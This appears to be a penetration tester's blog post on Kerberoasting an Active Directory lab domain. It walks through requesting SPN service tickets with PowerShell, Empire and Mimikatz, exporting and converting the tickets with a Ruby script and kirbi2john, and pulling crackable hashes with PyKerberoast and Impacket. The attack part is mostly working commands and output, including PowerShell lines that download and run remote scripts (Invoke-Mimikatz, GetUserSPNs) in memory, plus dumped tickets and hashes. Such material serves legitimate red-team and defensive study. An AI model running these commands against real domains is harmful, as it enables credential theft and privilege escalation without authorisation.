Previous works: There has been a number of different blog posts, presentations and projects that have happened before this post and I will reference a number of them during the post and at the end have a link to all that I know about. If you know of any works on this subject that I am missing please submit a comment below and I’ll will be sure to reference it.

Attacker KB Link: (to be updated later)

Common Findings DB Link: (to be updated later)

Now that we’ve listed all the tickets in a ton of different ways, we need to request the ones we want and get them to a point that we can start cracking them.

Requesting SPN Kerberos Tickets

PowerShell Requesting

These are stolen directly from Tim Medin @timmedin‘s Kerberoast repository README.md

One specific ticket:

This is great if you are targeting one specific user account:

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"  

All the tickets (including Computer account tickets):

I’m not a huge fan of this method since you get too many tickets to deal with but it’s a great example of how to use PowerShell to parse and request things like this:

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

PowerShell Requesting - Just Users

Getting just the User tickets:

This is a slightly modified version of Tim’s script from above. It pulls down his GetUserSPNs powershell script instead of using SetSPN.exe and makes a request for each of the resulting SPN tickets.

PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}

Empire

PowerShell Empire received the functionality to get the SPN Tickets via @harmj0y‘s commit here: b977dec which as of the writing of this post was still in the dev branch of Empire (not master yet)

(Empire: BDW3E2G2ZRKCUS3B) > usemodule credentials/get_spn_tickets
(Empire: credentials/get_spn_tickets) > info

           Name: Get-SPNTickets
         Module: credentials/get_spn_tickets
     NeedsAdmin: False
      OpsecSafe: True
   MinPSVersion: 2
     Background: True
OutputExtension: None

Authors:
  @harmj0y

Description:
  Requests kerberos tickets for all users with a non-null
  service principal name (SPN). These tickets can be extracted
  with credentials/mimikatz/extract_tickets.

Options:

  Name  Required    Value                     Description
  ----  --------    -------                   -----------
  Agent True        BDW3E2G2ZRKCUS3B          Agent to run module on.

(Empire: credentials/get_spn_tickets) > run
Job started: Debug32_a7og3



Id                   : uuid-7856e72a-2c40-4d94-a939-8c671b80e2bd-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe
                       y}
ValidFrom            : 5/19/2016 3:06:41 PM
ValidTo              : 5/19/2016 3:08:41 PM
ServicePrincipalName : kadmin/changepw
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Id                   : uuid-7856e72a-2c40-4d94-a939-8c671b80e2bd-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe
                       y}
ValidFrom            : 5/19/2016 3:06:41 PM
ValidTo              : 5/20/2016 12:53:24 AM
ServicePrincipalName : http/win10.sittingduck.info
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Id                   : uuid-7856e72a-2c40-4d94-a939-8c671b80e2bd-3
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe
                       y}
ValidFrom            : 5/19/2016 3:06:41 PM
ValidTo              : 5/20/2016 12:53:24 AM
ServicePrincipalName : MSSQLSvc/WIN2K8R2.sittingduck.info
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Get-SPNTickets completed!

Exporting the tickets

Now we need to get the tickets out of the system we just requested them to. We can do this with Mimikatz both by itself, or directly in Empire:

Mimikatz

Using the kerberos::list /export functionality is awesome, but this will generate a file per-ticket. I have been on a few engagements where that meant 4000+ files. Luckily the awesome @gentilkiwi saves us and has included a “base64” mode for Mimikatz

So here I’m simply pulling the Invoke-Mimikatz script that @JosephBialek “clymb3r” created, into memory, telling Mimikatz to go in “base64” mode, export all of the active tickets and exit.

PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
PS C:\> Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'

Empire

Here is the module:

(Empire: agents) > usemodule credentials/mimikatz/extract_tickets
(Empire: credentials/mimikatz/extract_tickets) > info

           Name: Invoke-Mimikatz extract kerberos tickets.
         Module: credentials/mimikatz/extract_tickets
     NeedsAdmin: False
      OpsecSafe: True
   MinPSVersion: 2
     Background: True
OutputExtension: None

Authors:
  @JosephBialek
  @gentilkiwi

Description:
  Runs PowerSploit's Invoke-Mimikatz function to extract
  kerberos tickets from memory in base64-encoded form.

Options:

  Name  Required    Value                     Description
  ----  --------    -------                   -----------
  Agent True        None                      Agent to run module on.

And the result…

Job started: Debug32_segox
Hostname: win7.sittingduck.info / S-1-5-21-4217918325-2978756054-1117708521
  .#####.   mimikatz 2.1 (x64) built on Mar 31 2016 16:45:32
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 18 modules * * */

mimikatz(powershell) # standard::base64
isBase64Intercept was    : false
isBase64Intercept is now : true

mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 5/19/2016 10:53:27 AM ; 5/19/2016 8:53:24 PM ; 5/26/2016 10:53:24 AM
   Server Name       : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO
   Client Name       : notanadmin @ SITTINGDUCK.INFO
   Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
====================
Base64 of file : 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
====================
doIFTjCCBUqgAwIBBaEDAgEWooIEVTCCBFFhggRNMIIESaADAgEFoRIbEFNJVFRJ
TkdEVUNLLklORk+iJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEFNJVFRJTkdEVUNLLklO
Rk+jggQFMIIEAaADAgESoQMCAQKiggPzBIID755axXlzQ6q8s93GffDw/YjUwy+U
KYB3hUdJijD2VtVPfHGnADl/pT2+Xuhu4uMOiVhsjUR/bfhIn8G1MkHPh3d3EtWx
oOvwZt8IsSE4pStAqrDCXAD9HbIi8G4QJ3dxMV875ThyihQKvp8ngHYRl8UfPXD+
YwuJhTm8OqDWiK2EgRDYX9VdtWktJp5FoVRBB4T0MAhMKqEZD5XNpNE6VGNBjJTQ
Fq9/82rfL0m4DkLXOnWxLy6iEL9mPg/etC4P8LQWu/UFbNf4enwSL93sgdq6XV6z
kAc+dv/0gTkoHO+ci4ivQilomtAYtDLU7LLE1nOBC+9gllB8rrnP6WOgIBzqC91K
WLk8cqsjjdacSLcqGJ38rFQQUhVmWcHRqzzn7iiCuTsRulsUZ5EF3kduOVPVzrcy
GA8yMDE2MDUxOTE1MzYwN1qmERgPMjAxNjA1MjAwMDUzMjRapxEYDzIwMTYwNTI2
MTQ1MzI0WqgSGxBTSVRUSU5HRFVDSy5JTkZPqSUwI6ADAgECoRwwGhsGa3JidGd0
GxBTSVRUSU5HRFVDSy5JTkZP
====================

   * Saved to file     : 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi

I’ve cut the result down quite a bit as it would scroll for a bit in this format.

Now the problem is that they are all text and for you to crack things or at least convert them into a format that JtR or oclHastcat can digest they need to be in binary format. So I made this script to convert and agent.log file from the output of extract_tickets back into their binary format with correct file names. My coding isn’t great, so please let me know how I can improve this script:

#!/usr/bin/env ruby
require 'base64'

puts ARGV.inspect

if ARGV.length != 1
	puts "Requires a file to parse, usually agent.log"
	exit
end

border = "===================="
bordercount = 0
ticket = []
filename = "failed.log"

File.open(ARGV[0]).each do |line|
	if line.strip == border
		case bordercount
		when 2
			File.open(filename, 'a') {|f| f.write(Base64.decode64(ticket.join))}
			bordercount = 0
			ticket = []
			filename = "failed.log"
		else
			bordercount = bordercount + 1
		end
	else
		case bordercount
		when 1
			filename = line.strip.split(" : ")[1]
			puts "Storing #{filename}"
		when 2
			ticket << line.strip
		end
	end
end

Save that and just feed it an agent.log file from Empire and WA-LA! you have kirbi files.

ruby parse.rb agent.log
["agent.log"]
Storing 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
Storing 1-40e10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
Storing 2-40a10000-notanadmin@MSSQLSvc~WIN2K8R2.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 3-40a10000-notanadmin@http~win10.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 4-40a10000-notanadmin@kadmin~changepw-SITTINGDUCK.INFO.kirbi
Storing 5-40a50000-notanadmin@ProtectedStorage~DC1.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 6-40a50000-notanadmin@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 7-40a50000-notanadmin@cifs~win2k8r2.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 8-40a50000-notanadmin@ldap~win2k8r2.sittingduck.info~sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 9-40a50000-notanadmin@ldap~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 10-40a50000-notanadmin@LDAP~DC1.sittingduck.info~sittingduck.info-SITTINGDUCK.INFO.kirbi

Next we need to convert those binary tickets into something crackable. That is where kirbi2john.py comes in.

Kirbi2John

There are two versions of “kirbi2john”.

root@wpad:~/johntheripper/run# ./kirbi2john.py /root/empire-dev/downloads/BDW3E2G2ZRKCUS3B/*.kirbi
$krb5tgs$unkown:9e5ac5797343aabcb3ddc67df0f0fd88$d4c32f942980778547498a30f656d54f7c71a700397fa53dbe5ee86ee2e30e89586c8d447f6df8489fc1b53241cf87777712d5b1a0ebf066df08b12138a52b40aab0c25c00fd1db222f06e10277771315f3be538728a140abe9f2780761197c51f3d70fe630b898539bc3aa0d688ad848110d85fd55db5692d269e45a154410784f430084c2aa1190f95cda4d13a5463418c94d016af7ff36adf2f49b80e42d73a75b12f2ea210bf663e0fdeb42e0ff0b416bbf5056cd7f87a7c122fddec81daba5d5eb390073e76fff48139281cef9c8b88af4229689ad018b432d4ecb2c4d673810bef6096507caeb9cfe963a0201cea0bdd4a58b93c72ab238dd69c48b72a189dfcac541052156659c1d1ab3ce7ee2882b93b11ba5b14679105de476e3953d5ceb7328a5d221cfd323b7deb8234be1bf0d4b8c9f02463ad6da667323478f7acba2424e4311c837db608fc27b25a24d6c1315d7927d165a0859460ed65aaabaffd488b23dfcb01c8866aad556831370e89c25a6d8843aae676186f927eadf86f187d355f4a1d97472a44dc32fc52c4b6c40f42bb84f8589ee607eff2fd511bb6eaae90640a6dd2b3557ae5ae992d025aa13c25fafe9bd5b93aa36834a715c5dcde96bda38b880797852d2cff13324a1751a9b198b60ebf81c96b8dc5edf1474fe1fa53628f3aa53416e4062c503f1efb22a8ce11ab7ba8c40bc30c816568091ad051c55b3c8780964c87b5db241224bd3280eecb7e73f2921c770ccf41fbea8e43b2a1be0c6178c799fdbe8d1fffdd4a37a2aeeebb27a4f09f669203969b80e1ab7d6e28cae00af7fd3a6c731448c97356759ecc3eefec7f6ef155bd63b84bb25b1b66f8f1908ece15dbba12219c80b6797e04315889790f9c06c611314f8cd

But all of that is hard and creates evidence. Lets look back at the tools PyKerberoast and Impacket’s GetUserSPNs.py and see if there is a better way:

PyKerberoast

This awesome work by @skelsec makes it so no new Kerberos tickets need to be added to the client, no use of Mimikatz, and no need to parse anything, it just contacts the Domain Controller. It pulls out all of the information needed for the SPNs, requests the tickets and outputs them in John the Ripper format.

Usage:

kerberoastv2.py [-h] -a ADSERVER -b LDAPBASE -d DOMAIN -u USERNAME
                [-p PASSWORD] [-o OUTPUTFILE] [-em ENUMMACHINE] [-v]

Example (I have snipped up some of the output to save space):

root@wpad:~/pykerberoast# python kerberoastv2.py -a 192.168.168.10 -b "dc=sittingduck,dc=info" -d sittingduck -u notanadmin
[+]Starting...
Password:
$krb5tgs$23$*uberuser$SITTINGDUCK.INFO$spn*$4da625ffd63dad7676effe133dcb9c1b$af52b31c7c39808f02bceb2d728550e375ff7321f7383f4800445df2a27006950a0f88c69a447de1643a7418f056315c684382068701a62f627c6cafde81bbc657c865ddd828027cef1edc11228ea0b95caca91647fc4b581efb380e466d12e253309d65a11dcbe02b0de70e0aa9044350461ad5d4293a07e3cf588a05a04a7942b63f395c6eed5e8dc826160a7bc00e295df539e419b9a4c17762b3bc987bc339354892e51090d7a7ede236cf500438e57f47a4155cc38f8a07cfdb2e3f7033ce412a6f7856911d9cf95e659daf4269d1b31cf872b09dc86af614b95c457fc896d01fdfb0afc751d2279d4c715

[+]Done!

Impacket

Just by adding a -request to our previous run we can request all of the user SPN tickets and they are output in John the Ripper format (I’ve snipped up some of the output to save space):

root@wpad:~/impacket/examples# ./GetUserSPNs.py -request sittingduck.info/notanadmin
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies

Password:
ServicePrincipalName                Name        MemberOf                                              PasswordLastSet
----------------------------------  ----------  ----------------------------------------------------  -------------------
http/win10.sittingduck.info         uberuser    CN=Enterprise Admins,CN=Users,DC=sittingduck,DC=info  2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info  sqladmin01                                                        2016-05-13 19:13:20

$krb5tgs$23$*sqladmin01$SITTINGDUCK.INFO$SPN*$6e5307df490c6e3339f613fdc5655785$80ba233b4d24531202f2e354c99e7eda807bde7aeeb48ee4cdb6bf809d78652413699e3cff8b9b78b9ee70e997a538155fc7f72e208d715020d458b8413d4b12b212738833c4694d84937d65cb8ecd0020c00a5d39c07da35a748ea2cb062fca4fa9b282e7046d70ee1cae4cfee7d6f791052e283
$krb5tgs$23$*uberuser$SITTINGDUCK.INFO$SPN*$27c08ed2a8d5394f66e8c13c25c98393$310b787ec5c10b20fcc0acb1406b6a6e2ffddd71de3dc4c70c19e5dfcf262cc88574e61cb3940ebfd574b2bb555f2b05f84d8526e3cf46fc0ca57e03467729757cbf79da9f55cde9dabdda68e80dce6564e9f1b904b0585dbc813b82abf89e973e41c102b664f4c649f85acaf7904a273dddcb9315a66f27334f313190e1caf4f5055b671d250f5912cc1871a1dd4a6126087ddfb98ade8f7dde495ee8ad76583aa5a12eef63a690dd82a15eaaca0d7594f2f1dbc899035d89dd628b291590058cfb3405d1dfe4a383be5704465d9c8972ef8f1cba3541fdfa7dcf5063eaed74051fa18bd73f7b4f7d77

Much easier ;-) oh, and did I mention that if you use Impacket’s version you can just use LM/NTLM hashes instead of a password? Awesome! Alright, all we have left is to crack these tickets and figure out how to use them…

References:

Tools

Presentations

Other write ups